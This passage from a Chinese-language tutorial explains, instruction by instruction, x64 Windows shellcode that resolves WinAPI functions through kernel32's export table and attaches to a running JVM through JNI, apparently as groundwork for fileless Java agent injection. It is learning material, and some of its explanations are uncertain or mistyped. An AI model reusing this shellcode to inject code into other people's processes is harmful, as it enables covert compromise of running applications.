jne short loc_50 如果不相等,则跳转到loc_50。这段代码将 41636F7250746547 (字符串值为 AcorPteG,按照小端序倒过来就是 GetProcA) 赋值给了 r9,loc_50: 为后续 jne 跳转的目标地址,然后给 rcx 加一,很明显这是类似于 for 循环的代码,再将 rax 清空,然后从 rsi+rcx*4 指向的地址读取 32 位值 (即从函数名称表按序读取名称的虚拟地址),然后加上 rbx (基址) 得到函数名称真实地址,然后对比真实名称的前 8 字节和 r9 (我们想要查找的 GetProcAddress 的前 8 字节 GetProcA) 是否相同,如果不相同就跳回 loc_50: ,到这里就知道了,这就是 for 循环遍历函数名称表找 GetProcAddress,而之所以只需要匹配 8 字节,按照我的猜测应该就是因为具有唯一性,没有这个开头的其他函数了,所以这样写可以缩短 shellcode 的长度。
xor rsi,rsi:将寄存器rsi清零。
mov esi,dword ptr ds:[r8+24]:从r8寄存器中偏移24处读取32位值到esi寄存器。
add rsi,rbx:将rbx寄存器的值加到rsi寄存器中。
mov cx,word ptr ds:[rsi+rcx*2]:从rsi寄存器加上rcx寄存器乘以2的偏移处读取16位值到cx寄存器。
xor rsi,rsi:将寄存器rsi清零。
mov esi,dword ptr ds:[r8+1C]:从r8寄存器中偏移1C处读取32位值到esi寄存器。
add rsi,rbx:将rbx寄存器的值加到rsi寄存器中。
xor rdx,rdx:将寄存器rdx清零。
mov edx,dword ptr ds:[rsi+rcx*4]:从rsi寄存器加上rcx寄存器乘以4的偏移处读取32位值到edx寄存器。
add rdx,rbx:将rbx寄存器的值加到rdx寄存器中。
mov rdi,rdx:将rdx寄存器的值复制到rdi寄存器。通过刚刚的 for 循环,我们得到了 rcx,即 GetProcAddress 在这个函数表里面的索引,现在我们要找其序号。而现在这部分代码先对 rsi 进行了清空,然后从 r8+24 的地方读取了函数序号表虚拟地址 (就在原本的函数名称表的下一个就是),然后加上 rbx (基址) 得到真实地址,再根据之前 rcx 的索引在函数序号表找到其对应的序号,而这里之所以是 rcx * 2 是因为每个序号都是 word 只有 2 字节,其对应的序号被赋值给 cx (rcx 的低 16 位)。其后将 rsi 清空,然后从 r8+1C (函数名称表的上一个) 的地址读取函数地址的地址表的虚拟地址,然后加上 rbx (基址) 得到真实地址,清空 rdx 寄存器,然后从地址表读取真实地址,至于为什么是 rsi+rcx * 4,自然是因为地址是 dword 是 4 字节的,读取的地址存在 edx (rdx 的低 4 字节), 然后加上 rbx (基址) 得到真实地址,然后将其赋值给 rdi,此时 rdx 和 rdi 里存储的都是 GetProcAddress 的真实函数地址,到这里我们已经完成了第一步在 kernel32.dll 的输出表中,获取 GetProcessAddress 函数的地址。
拿到 GetProcAddress 后我们就要开始第二步调用 GetProcessAddress 获取 LoadLibraryA 函数的地址了。因为我们已经获得了 GetProcAddress 地址,我们可以利用 GetProcAddress (kernel32, “LoadLibraryA”) 这样的方式来查找 LoadLibraryA 函数的地址。
mov ecx,41797261:将常量41797261加载到ecx寄存器中。
push rcx:将ecx寄存器的值压入栈中。
mov rcx,7262694C64616F4C:将常量7262694C64616F4C加载到rcx寄存器中。
push rcx:将rcx寄存器的值压入栈中。
mov rdx,rsp:将栈指针的值复制到rdx寄存器。
mov rcx,rbx:将rbx寄存器的值复制到rcx寄存器。
sub rsp,30:将栈指针向下移动30个字节。 // 分配影子空间 (影子空间 - 堆栈上分配的 32 字节长的空白空间,用于内部 WinAPI, 好像可以大于 32 https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention?view=msvc-170)
call rdi:调用rdi寄存器指向的函数。
add rsp,30:将栈指针向上移动30个字节。
add rsp,10:将栈指针向上移动10个字节。
mov rsi,rax:将rax寄存器的值复制到rsi寄存器。 //LoadLibraryA 函数地址这部分代码先后将 41797261 和 7262694C64616F4C 压入栈中,合在一起就是 417972617262694C64616F4C (AyrarbiLdaoL 倒过来就是 LoadLibraryA) 啦,然后将 rsp 栈顶赋值给 rdx (此时 rsp 正好指向入栈的 LoadLibraryA 字符串的开头),再将基址 rbx 赋值给 rcx,这样一看不就是在构造 GetProcAddress (kernel32, “LoadLibraryA”),现在俩个参数都准备好了 rcx 刚刚好是 kernel32.dll 的基址,而 rdx 就是字符串 LoadLibraryA 的开头。再往下看,其先将栈顶下移 0x30 (分配影子空间),再调用 rdi,而 rdi 的值是什么?刚刚上面说了刚刚好是 GetProcessAddress 的函数地址,这样,应该完美的函数调用就完成了,而 LoadLibraryA 的函数地址则会被存储到 rax 中 (函数的返回值都存储在 rax 中),然后栈顶上移 0x30,移除影子空间,再上移 0x10,清空字符串 “LoadLibraryA”, 其刚刚好占 16 字节。最后将 LoadLibraryA 的函数地址赋值给 rsi 保存。
现在我们已经完美的完成了第二步得到了 LoadLibraryA 的函数地址,现在我们就要调用 LoadLibraryA 加载 jvm.dll 获取 jvm.dll 模块在当前进程中的基址
mov ecx,6C6C:将常量6C6C加载到ecx寄存器中。
push ecx:将ecx寄存器的值压入栈中。
mov ecx,6D766A:将常量6D766A加载到ecx寄存器中。
push ecx:将ecx寄存器的值压入栈中。
mov rcx,rsp:将栈指针的值复制到rcx寄存器。
sub rsp,30:将栈指针向下移动30个字节。
call rsi:调用rsi寄存器指向的函数。
add rsp,30:将栈指针向上移动30个字节。
add rsp,10:将栈指针向上移动10个字节。
mov r15,rax:将rax寄存器的值复制到r15寄存器。前半部分同上将字符串入栈,不过我最疑惑的就是其原本应该压入的字符串是 “jvm.dll”, 但是实际入栈的只有 “jvmll”,着实想不明白。那么假设上面入栈的是 jvm.dll,那么在入栈完成后,其将字符串开头的指针赋值给了 rcx,然后分配 0x30 的影子空间,然后调用 rsi,而其地址指向正是 LoadLibrary,那么就相当于这段代码执行了 LoadLibrary (“jvm.dll”),通过 LoadLibrary 加载了 jvm.dll, 返回句柄到 rax。在调用完函数后,同样的移除影子空间,通过上移栈顶移除字符串,最后将句柄 (基址) rax 赋值给 r15,那么现在 r15 就是 jvm.dll 的基址了。
完成了第四步,获得了 jvm.dll 的基址,现在我们就要进行第五步调用 GerProcAddress 在 jvm.dll 中获取 JNI_GetCreatedJavaVMs 的地址。可以发现这不就跟我们调用 GetProcessAddress 从 kernel32.dll 里面获取 LoadLibraryA 函数的地址一样吗。
xor rcx,rcx:将寄存器rcx清零。
mov rcx,734D566176:将常量734D566176加载到rcx寄存器中。
push rcx:将rcx寄存器的值压入栈中。
mov rcx,614A646574616572:将常量614A646574616572加载到rcx寄存器中。
push rcx:将rcx寄存器的值压入栈中。
mov rcx,437465475F494E4A:将常量437465475F494E4A加载到rcx寄存器中。
push rcx:将rcx寄存器的值压入栈中。
mov rdx,rsp:将栈指针的值复制到rdx寄存器。
mov rcx,r15:将r15寄存器的值复制到rcx寄存器。
sub rsp,28:将栈指针向下移动28个字节。 // 压入了 0x18 的数据再开辟 0x28 影子空间刚刚好栈对齐
call rdi:调用rdi寄存器指向的函数。
add rsp,28:将栈指针向上移动28个字节。
add rsp,18:将栈指针向上移动18个字节。
mov r15,rax:将rax寄存器的值复制到r15寄存器。这段代码先将 rcx 清空,然后入栈字符串 “JNI_GetCreatedJavaVMs”,然后将字符串开头赋值给 rdx,将 jvm.dll 的基址赋值给 rcx,然后分配 0x28 长度的影子空间 (为了栈对其),然后调用 GerProcAddress 获取函数地址,然后撤销影子空间,移除字符串,最后将 JNI_GetCreatedJavaVMs 的函数地址赋值给 r15。
这前面这部分就是常规的 shellocode 查找函数地址的方法。后面的才是真正的函数使用部分。
sub rsp,28:将栈指针向下移动28个字节。
mov rcx,rsp:将栈指针的值复制到rcx寄存器。
mov edx,1:将常量1加载到edx寄存器中。
mov r8,rcx:将rcx寄存器的值复制到r8寄存器。
add r8,8:将r8寄存器的值加8。
sub rsp,28:将栈指针向下移动28个字节。
call r15:调用r15寄存器指向的函数。 // 调用 JNI_GetCreatedJavaVMs (x64 调用约定寄存器顺序 RCX、RDX、R8 和 R9)
add rsp,28:将栈指针向上移动28个字节。 //RCX = 0xD8、RDX = 1、R8 = 0xE0
mov rcx,qword ptr ds:[rcx]:从rcx寄存器指向的内存地址读取64位值到rcx寄存器。这部分代码开头就将栈顶下移了 0x28,不明白啥意思,然后将此时的 rsp 的地址赋值给 rcx,将 edx 赋值为 1,再把 rcx 赋值给 r8,然后 r8 地址加 0x8。最后分配 0x28 的影子空间 (之所以是 0x28 而不是 0x20 是因为要维持栈平衡), 最后调用 JNI_GetCreatedJavaVMs,这里我们看一下 JNI_GetCreatedJavaVMs 的用法,来分析一下为什么要这样构造寄存器的值
函数原型:
jint JNI_GetCreatedJavaVMs(JavaVM **pvm, jsize size, jsize *numVMs);
参数说明:
JavaVM **pvm: 一个指向 JavaVM* 的指针的指针,用于存储指向现有 JVM 的指针。你需要提供一个指向 JavaVM* 数组的指针,以保存获取到的 JVM。
jsize size: 指定 pvm 指针所指向的数组的大小,即你希望存储的 JVM 指针的最大数量。
jsize *numVMs: 指向 jsize 类型的变量的指针,函数将把实际获取到的 JVM 数量存储在这个变量中。按照 x64 调用约定寄存器顺序 RCX、RDX、R8 和 R9,那么因此对应就是上面的几个参数了,首先 rcx 对应的就是 JavaVM **pvm,那么 rcx 指向的空间就是 JVM,rdx 对应 size,而 edx 被赋值为 1,rdx 自然就是 1。r8 对应 jsize *numVMs,而 r8 的地址刚刚好就在 rcx 的上面 8 字节。
完成调用后,同样先是上移 0x28 移除影子空间,然后从 rcx 指向的地址空间获取调用 JNI_GetCreatedJavaVMs 得到的 JVM,在看下面这段代码前我们先看看 JVM 的结构以便能够更好的理解后续的代码。
struct JavaVM_ {
const struct JNIInvokeInterface_ *functions;
#ifdef __cplusplus
jint DestroyJavaVM() {
return functions->DestroyJavaVM(this);
}
jint AttachCurrentThread(void **penv, void *args) {
return functions->AttachCurrentThread(this, penv, args);
}
jint DetachCurrentThread() {
return functions->DetachCurrentThread(this);
}
jint GetEnv(void **penv, jint version) {
return functions->GetEnv(this, penv, version);
}
jint AttachCurrentThreadAsDaemon(void **penv, void *args) {
return functions->AttachCurrentThreadAsDaemon(this, penv, args);
}
#endif
};再看看 JNIInvokeInterface_ 这个结构体里面
struct JNIInvokeInterface_ {
void *reserved0;
void *reserved1;
void *reserved2;
jint (JNICALL *DestroyJavaVM)(JavaVM *vm);
jint (JNICALL *AttachCurrentThread)(JavaVM *vm, void **penv, void *args);
jint (JNICALL *DetachCurrentThread)(JavaVM *vm);
jint (JNICALL *GetEnv)(JavaVM *vm, void **penv, jint version);
jint (JNICALL *AttachCurrentThreadAsDaemon)(JavaVM *vm, void **penv, void *args);
};可以发现这里面存储的就是 JavaVM_里面函数的指针,而我们需要调用的 GetEnv 就在里面,而且刚刚好是第 7 个,那么偏移就是 (7-1)*8=0x30,不过在这之前还要 attach 和 detach,其分别为 0x20 和 0x28
sub rsp,20:将栈指针向下移动20个字节。
push rsp:将栈指针的值压入栈中。
mov rdx,rsp:将栈指针的值复制到rdx寄存器。
xor r8,r8:将寄存器r8清零。
mov r15,qword ptr ds:[rcx]:从rcx寄存器指向的内存地址读取64位值到r15寄存器。
mov r15,qword ptr ds:[r15+20]:从r15寄存器中偏移20处读取值到r15寄存器。 // 附加进程
mov r14,rcx:将rcx寄存器的值复制到r14寄存器。
call r15:调用r15寄存器指向的函数。再回来看这部分代码,先是直接栈下移 0x20 (分配影子空间?像又不像),然后将 rsp 入栈,然后将 rsp 赋值给 rdx,将 r8 清零,然后从 rcx 指向的地址读取 64 位值,而此时 rcx 指向的是 JVM 的第一个块,即 const struct JNIInvokeInterface_ *functions,而从中读取的地址指向的就是 JNIInvokeInterface_结构体地址赋值给 r15,然后从中读取 r15+20 指向的地址,而 JNIInvokeInterface_结构体偏移 0x20 刚刚好就是 AttachCurrentThread 方法,然后将 rcx 即 JVM 地址赋值给 r14,然后调用 AttachCurrentThread 方法,
而我们继续看看 AttachCurrentThread 方法
函数原型
jint AttachCurrentThread(JavaVM *vm, void **penv, void *args);
参数说明
JavaVM *vm: 指向 Java 虚拟机的指针。这个指针通常在创建 JVM 时获得。
void **penv: 指向 JNIEnv* 指针的指针。调用此函数后,*penv 将指向当前线程的 JNI 接口指针,允许该线程与 JVM 进行交互。
void *args: 这个参数通常用于传递线程特定的参数,但在大多数情况下可以为 NULL。那么我们就可以知道执行完这部分函数 rdx 就会指向当前线程的 JNI 接口指针
mov rcx,r14:将r14寄存器的值复制到rcx寄存器。
mov rdx,562F75A8:将常量562F75A8加载到rdx寄存器中。
mov r8d,30010200:将常量30010200加载到r8d寄存器中。 //jint version:关于该值的设置,游望之师傅使用了 JVMTI_VERSION_1_2 的值 0x30010200:
mov r15,qword ptr ds:[r14]:从r14寄存器指向的内存地址读取64位值到r15寄存器。
mov r15,qword ptr ds:[r15+30]:从r15寄存器中偏移30处读取值到r15寄存器。 // 为 JNIInvokeInterface_里的第 7 个指针,偏移为 0x30
sub rsp,20:将栈指针向下移动20个字节。
call r15:调用r15寄存器指向的函数。 // 调用 GetEnv () 函数
add rsp,20:将栈指针向上移动20个字节。从 r14 里将 JVM 地址重新赋值回来,给 rdx 赋值 562F75A8,r8d 赋值 30010200,然后和上部分方法类似获取偏移为 0x30 的 GetEnv 方法。然后分配影子空间,调用 GetEnv 函数,最后撤销影子空间。来看 GetEnv 方法
函数原型
jint GetEnv(JavaVM *vm, void **penv, jint version);
参数说明
JavaVM *vm: 指向 Java 虚拟机的指针。这个指针通常在创建 JVM 时获得。
void **penv: 这是一个输出参数,用于返回当前线程的JNI环境指针。指向 JNIEnv* 指针的指针。调用此函数后,*penv 将指向当前线程的 JNI 接口指针,允许该线程与 JVM 进行交互。
version: 这是请求的JNI版本,通常使用JNI_VERSION_1_6或其他版本常量。
jint version: 要求的 JNI 版本。通常可以使用 JNI_VERSION_1_6 或其他支持的版本。可以发现和上面差不多,不过调用完后 rdx 的值指向当前线程的 JNI 接口指针。继续来看一下最后执行的 DetachCurrentThread 方法
jint DetachCurrentThread() {
return functions->DetachCurrentThread(this);
}mov rcx,r14:将r14寄存器的值复制到rcx寄存器。
mov r15,qword ptr ds:[r14]:从r14寄存器指向的内存地址读取64位值到r15寄存器。
mov r15,qword ptr ds:[r15+28]:从r15寄存器中偏移28处读取值到r15寄存器。 // 脱离进程
call r15:调用r15寄存器指向的函数。
add rsp,78:将栈指针向上移动78个字节。
ret:从函数返回。最后这部分代码依然先给 rcx 赋值 JVM 地址,然后通过偏移获取 DetachCurrentThread 方法然后调用执行,最后栈上移 0x78,最后 ret 结束函数。因为 DetachCurrentThread 为无参方法,因此此时 rdx 存储着 GetEnv 的最终结果。
参考链接
因为第一次接触 shellcode,因此这篇文章主要参考了以下的几篇文章。
- shellcode 编写指南
- Linux 下无文件 Java agent 探究
- x32 PEB: 获取 Kernel32 基地址的原理及实现
- [Shellcode x64] Find and execute WinAPI functions with Assembly
- https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention?view=msvc-170
如果觉得我讲的不够清楚的话可以看看 1-3 这几篇文章哦,我还是受益匪浅的。
